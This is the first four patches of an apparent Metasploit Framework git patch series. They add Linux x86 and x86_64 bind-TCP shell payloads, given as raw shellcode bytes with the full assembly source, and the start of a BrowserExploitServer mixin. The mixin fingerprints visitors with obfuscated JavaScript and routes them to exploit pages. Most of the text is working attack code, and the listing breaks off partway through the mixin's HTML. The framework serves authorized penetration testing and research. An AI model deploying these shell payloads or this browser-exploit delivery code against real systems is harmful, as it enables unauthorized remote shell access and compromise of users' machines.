From 118cc900a719c1180fc0052a32488778fd854519 Mon Sep 17 00:00:00 2001 From: "Geyslan G. Bem" Date: Tue, 10 Sep 2013 19:20:48 -0300 Subject: [PATCH 01/85] new payload --- .../linux/x86/shell_bind_tcp_random_port.rb | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb new file mode 100644 index 0000000000..f46a5bb1a3 --- /dev/null +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -0,0 +1,63 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Bind TCP Random Port Inline', + 'Description' => 'Listen for a connection in a random port and spawn a command shell. ' \ + 'Use nmap to discover the open port: \'nmap -sS target -p-\'. ' \ + 'Assembly source: http://goo.gl/V5OObo', + 'Author' => 'Geyslan G. Bem ', + 'License' => BSD_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => + "\x31\xdb" +# xor %ebx,%ebx + "\xf7\xe3" +# mul %ebx + "\xb0\x66" +# mov $0x66,%al + "\x43" +# inc %ebx + "\x52" +# push %edx + "\x53" +# push %ebx + "\x6a\x02" +# push $0x2 + "\x89\xe1" +# mov %esp,%ecx + "\xcd\x80" +# int $0x80 + "\x52" +# push %edx + "\x50" +# push %eax + "\x89\xe1" +# mov %esp,%ecx + "\xb0\x66" +# mov $0x66,%al + "\xb3\x04" +# mov $0x4,%bl + "\xcd\x80" +# int $0x80 + "\xb0\x66" +# mov $0x66,%al + "\x43" +# inc %ebx + "\xcd\x80" +# int $0x80 + "\x59" +# pop %ecx + "\x93" +# xchg %eax,%ebx + "\x6a\x3f" +# push $0x3f + "\x58" +# pop %eax + "\xcd\x80" +# int $0x80 + "\x49" +# dec %ecx + "\x79\xf8" +# jns 20 + "\xb0\x0b" +# mov $0xb,%al + "\x68\x2f\x2f\x73\x68" +# push $0x68732f2f + "\x68\x2f\x62\x69\x6e" +# push $0x6e69622f + "\x89\xe3" +# mov %esp,%ebx + "\x41" +# inc %ecx + "\xcd\x80" # int $0x80 + } + )) + end + +end From fd7b633d357c8d3df1062a82799ec13724665895 Mon Sep 17 00:00:00 2001 From: "Geyslan G. Bem" Date: Fri, 13 Sep 2013 15:36:31 -0300 Subject: [PATCH 02/85] add payload source --- external/source/shellcode/linux/ia32/Makefile | 3 +- .../single_shell_bind_tcp_random_port.asm | 117 ++++++++++++++++++ 2 files changed, 119 insertions(+), 1 deletion(-) create mode 100644 external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm diff --git a/external/source/shellcode/linux/ia32/Makefile b/external/source/shellcode/linux/ia32/Makefile index db6e041d8d..cadd2abf31 100644 --- a/external/source/shellcode/linux/ia32/Makefile +++ b/external/source/shellcode/linux/ia32/Makefile @@ -4,7 +4,8 @@ STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind stager_sock_reverse_udp_dns STAGES=stage_tcp_shell stage_udp_shell SINGLE=single_adduser single_bind_tcp_shell single_find_tcp_shell \ - single_reverse_tcp_shell single_reverse_udp_shell single_exec + single_reverse_tcp_shell single_reverse_udp_shell single_exec \ + single_shell_bind_tcp_random_port OBJS=${STAGERS} ${STAGES} ${SINGLE} diff --git a/external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm b/external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm new file mode 100644 index 0000000000..3dbb492e2e --- /dev/null +++ b/external/source/shellcode/linux/ia32/single_shell_bind_tcp_random_port.asm @@ -0,0 +1,117 @@ +;; +; +; Name: single_shell_bind_tcp_random +; Qualities: None +; Platforms: Linux +; Author: Geyslan G. Bem +; License: BSD 3-Clause +; +; This file is part of the Metasploit Exploit Framework +; and is subject to the same licenses and copyrights as +; the rest of this package. +; +; Description: +; +; Listen for a connection in a random port and spawn a +; command shell. +; Use nmap to discover the open port: 'nmap -sS target -p-'. +; Repo source: http://goo.gl/V5OObo +; +;; + +bits 32 + +global _start + +section .text + +_start: + ; Avoiding garbage + ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding + + xor ebx, ebx + mul ebx + + ; syscalls (/usr/include/asm/unistd_32.h) + ; socketcall numbers (/usr/include/linux/net.h) + + ; Creating the socket file descriptor + ; int socket(int domain, int type, int protocol); + ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) + + mov al, 102 ; syscall 102 - socketcall + inc ebx ; socketcall type (sys_socket 1) + + ; socket arguments (bits/socket.h, netinet/in.h) + push edx ; IPPROTO_IP = 0 (int) + push ebx ; SOCK_STREAM = 1 (int) + push 2 ; AF_INET = 2 (int) + + mov ecx, esp ; ptr to argument array + + int 0x80 ; kernel interruption + + + ; Preparing to listen the incoming connection (passive socket) + ; int listen(int sockfd, int backlog); + ; listen(sockfd, int); + + ; listen arguments + push edx ; put zero + push eax ; put the file descriptor returned by socket() + mov ecx, esp ; ptr to argument array + + mov al, 102 ; syscall 102 - socketcall + mov bl, 4 ; socketcall type (sys_listen 4) + + int 0x80 ; kernel interruption + + + ; Accepting the incoming connection + ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); + ; accept(sockfd, NULL, NULL) + + mov al, 102 ; syscall 102 - socketcall + inc ebx ; socketcall type (sys_accept 5) + + ; accept arguments ; here we just don't need do nothing, the ecx already points to sockfd, NULL and 2 + ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D) + + int 0x80 ; kernel interruption + + + ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) + ; int dup2(int oldfd, int newfd); + ; dup2(clientfd, ...) + + pop ecx ; pop the sockfd integer to use as the loop counter ecx + xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2) + +dup_loop: + push 63 ; syscall 63 - dup2 + pop eax + + int 0x80 ; kernel interruption + + dec ecx ; file descriptor and loop counter + + jns dup_loop + + + ; Finally, using execve to substitute the actual process with /bin/sh + ; int execve(const char *filename, char *const argv[], char *const envp[]); + ; exevcve("/bin/sh", NULL, NULL) + + mov al, 11 ; execve syscall + + ; execve string argument + ; stack already contains NULL on top + push 0x68732f2f ; "//sh" + push 0x6e69622f ; "/bin" + + mov ebx, esp ; ptr to "/bin//sh" string + + inc ecx ; zero to argv + ; zero to envp (edx) + + int 0x80 From 31f265b411986b7c59558edb318ef5c1709e69a7 Mon Sep 17 00:00:00 2001 From: "Geyslan G. Bem" Date: Sat, 5 Oct 2013 09:02:05 -0300 Subject: [PATCH 03/85] New Shell Bind TCP Random Port Payload (x86_64) --- .../linux/x64/shell_bind_tcp_random_port.rb | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb new file mode 100644 index 0000000000..50abba4dfe --- /dev/null +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -0,0 +1,62 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Bind TCP Random Port Inline', + 'Description' => 'Listen for a connection in a random port and spawn a command shell. ' \ + 'Use nmap to discover the open port: \'nmap -sS target -p-\'. ' \ + 'Assembly source: http://goo.gl/TAveVc', + 'Author' => 'Geyslan G. Bem ', + 'License' => BSD_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'Payload' => + { + 'Payload' => + "\x48\x31\xf6" +# xor %rsi,%rsi + "\x48\xf7\xe6" +# mul %rsi + "\xff\xc6" +# inc %esi + "\x6a\x02" +# pushq $0x2 + "\x5f" +# pop %rdi + "\xb0\x29" +# mov $0x29,%al + "\x0f\x05" +# syscall + "\x52" +# push %rdx + "\x5e" +# pop %rsi + "\x50" +# push %rax + "\x5f" +# pop %rdi + "\xb0\x32" +# mov $0x32,%al + "\x0f\x05" +# syscall + "\xb0\x2b" +# mov $0x2b,%al + "\x0f\x05" +# syscall + "\x57" +# push %rdi + "\x5e" +# pop %rsi + "\x48\x97" +# xchg %rax,%rdi + "\xff\xce" +# dec %esi + "\xb0\x21" +# mov $0x21,%al + "\x0f\x05" +# syscall + "\x75\xf8" +# jne 40009f + "\x52" +# push %rdx + "\x48\xbf\x2f\x2f\x62" +# movabs $0x68732f6e69622f2f,%rdi + "\x69\x6e\x2f\x73\x68" + + "\x57" +# push %rdi + "\x54" +# push %rsp + "\x5f" +# pop %rdi + "\xb0\x3b" +# mov $0x3b,%al + "\x0f\x05" # syscall + } + )) + end + +end From 00efad5c5dbb0d5b6acf31415a556c3c15e4f985 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Oct 2013 13:17:06 -0500 Subject: [PATCH 04/85] Initial commit for BrowserExploitServer mixin --- lib/msf/core/exploit/browser/server.rb | 358 +++++++++++++++++++++++++ lib/msf/core/exploit/http/server.rb | 5 + lib/msf/core/exploit/mixins.rb | 2 + 3 files changed, 365 insertions(+) create mode 100644 lib/msf/core/exploit/browser/server.rb diff --git a/lib/msf/core/exploit/browser/server.rb b/lib/msf/core/exploit/browser/server.rb new file mode 100644 index 0000000000..e9f6e44660 --- /dev/null +++ b/lib/msf/core/exploit/browser/server.rb @@ -0,0 +1,358 @@ +# -*- coding: binary -*- + +require 'erb' +require 'rex/exploitation/js' + +### +# +# The BrowserExploitServer mixin provides methods to acheive common tasks seen in modern browser +# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# +### + +module Msf + module Exploit::Remote::BrowserExploitServer + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super + + # Profile structure: + # { + # 'cookie' => + # { + # 'os_name' => 'Windows', + # 'os_flavor' => 'something' + # ...... etc ...... + # } + # } + # A profile should at least have info about the following: + # tag : Hash key. This is either an actual cookie, or a MD5 hash of target IP + user-agent + # :source : The data source. Either from 'script', or 'headers'. The 'script' source + # should be more accureate in some scenarios like browser compatibility mode + # :ua_name : The name of the browser + # :ua_ver : The version of the browser + # :os_name : The name of the OS + # :language: The system's language + # :arch : The system's arch + # :proxy : Indicates whether proxy is used + # + # For more info about what the actual value might be for each key, see HttpServer. + # + # If the source is 'script', the profile might have even more information about plugins: + # 'office' : The version of Microsoft Office (IE only) + @target_profiles = [] + + # Requirements are conditions that the browser must have in order to be exploited. + # They must be defined by the module, and the mixin should check them before the + # exploit is actually deployed. + @requirements = {} + + @info_receiver_page = "info" + @exploit_receiver_page = "exploit" + @noscript_receiver_page = "noscript" + + register_options( + [ + OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) + ], Exploit::Remote::BrowserExploitServer) + end + + # + # Defines requirements by the module. + # The keys the module can define are the same as the ones in @target_profiles + # + def requirements(reqs={}) + @requirements = reqs + end + + # + # Returns an array of items that do not meet the requirements + # + def has_bad_requirements?(target_profile) + profile = target_profile[target_profile.first[0]] + bad_reqs = [] + + @requirements.each do |k, v| + if v.class == Regexp + bad_reqs << k if profile[k] !~ v + else + bad_reqs << k if profile[k] != v + end + end + + bad_reqs + end + + # + # Returns the target profile based on the tag + # + def get_profile(tag) + @target_profiles.each do |profile| + return profile if profile[tag] + end + + nil + end + + # + # Updates information for a specific profile + # + def update_profile(target_profile, key, value) + target_profile[target_profile.first[0]][key] = value + end + + # + # Initializes a profile + # + def init_profile(tag) + @target_profiles << {tag => {}} + end + + # + # Retrieves a tag. + # First it obtains the tag from the browser's "Cookie" header. + # If the header is empty (possible if the browser has cookies disabled), + # then it will return a tag based on IP + the user-agent. + # + def retreive_tag(request) + tag = request.headers['Cookie'].to_s + + if tag.blank? + # Browser probably doesn't allow cookies, plan B :-/ + ip = cli.peerhost + os = request.headers['User-Agent'] + tag = Rex::Text.md5("#{ip}#{os}") + end + + tag + end + + # + # Registers target information to @target_profiles + # Acceptable sources include :script, and :headers + # + def process_user_info(source, cli, request) + tag = retreive_tag(request) + + # Browser doesn't allow cookies. Can't track that, use a different way to track. + init_profile(tag) if request.headers['Cookie'].blank? + target_profile = get_profile(tag) + + # Gathering target info from the detection stage + case source + when :script + # Gathers target data from a POST request + update_profile(target_profile, :source, 'script') + raw = Rex::Text.decode_base64(Rex::Text.uri_decode(request.body)) + raw.split('&').each do |item| + k, v = item.scan(/(\w+)=(.+)/).flatten + update_profile(target_profile, k.to_sym, v) + end + + when :headers + # Gathers target data from headers + # This may be less accureate, and most likely less info. + fp = fingerprint_user_agent(request.headers['User-Agent']) + # Module has all the info it needs, ua_string is kind of pointless. + # Kill this to save space. + fp.delete(:ua_string) + update_profile(target_profile, :source, 'headers') + fp.each do |k, v| + update_profile(target_profile, k.to_sym, v) + end + end + + # Other detections + update_profile(target_profile, :proxy, has_proxy?(request)) + update_profile(target_profile, :language, request.headers['Accept-Language'] || '') + + report_client({ + :host => cli.peerhost, + :ua_string => request.headers['User-Agent'], + :ua_name => target_profile[tag]['ua_name'], + :ua_ver => target_profile[tag]['ua_ver'] + }) + end + + # + # Checks if the target is running a proxy + # + def has_proxy?(request) + proxy_list = + [ + 'HTTP_VIA', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', + 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'VIA', 'X_FORWARDED_FOR', + 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', + 'HTTP_PROXY_CONNECTION' + ].each do |name| + return true if request[name] + end + + false + end + + # + # Returns the code for client-side detection + # + def get_detection_html + js = ::Rex::Exploitation::JSObfu.new %Q| + #{js_base64} + #{js_os_detect} + #{js_addons_detect} + + function postInfo(data) { + var xmlHttp = ''; + if (window.XMLHttpRequest) { + xmlHttp = new XMLHttpRequest(); + } + else { + xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + } + + if (xmlHttp.overrideMimeType) { + xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); + } + + xmlHttp.open('POST', "#{get_resource}/#{@info_receiver_page}/", false); + xmlHttp.send(data); + } + + function objToQuery(obj) { + var q = []; + for (var key in obj) { + q.push(key + '=' + obj[key]); + } + return escape(Base64.encode(q.join('&'))); + } + + window.onload = function() { + var osInfo = window.os_detect.getVersion(); + var d = { + "os_name" : osInfo.os_name, + "os_flavor" : osInfo.os_flavor, + "ua_name" : osInfo.ua_name, + "ua_ver" : osInfo.ua_version, + "arch" : osInfo.arch, + "office" : window.addons_detect.getMsOfficeVersion() + }; + var query = objToQuery(d); + postInfo(query); + window.location = "#{get_resource}/#{@exploit_receiver_page}/"; + } + | + + js.obfuscate + + %Q| + + + | + end + + # + # Handles exploit stages. + # + def on_request_uri(cli, request) + case request.uri + when /^#{get_resource}$/ + # + # This is the information gathering stage + # + print_status("Gathering target information.") + tag = Rex::Text.rand_text_alpha(rand(20) + 5) + init_profile(tag) + html = get_detection_html + send_response(cli, html, {'Set-Cookie' => tag}) + + when /#{@info_receiver_page}/ + # + # The detection code will hit this if Javascript is enabled + # + process_user_info(source=:script, cli, request) + send_response(cli, '') + + when /#{@noscript_receiver_page}/ + # + # The detection code will hit this instead of Javascript is disabled + # Should only be triggered by the img src in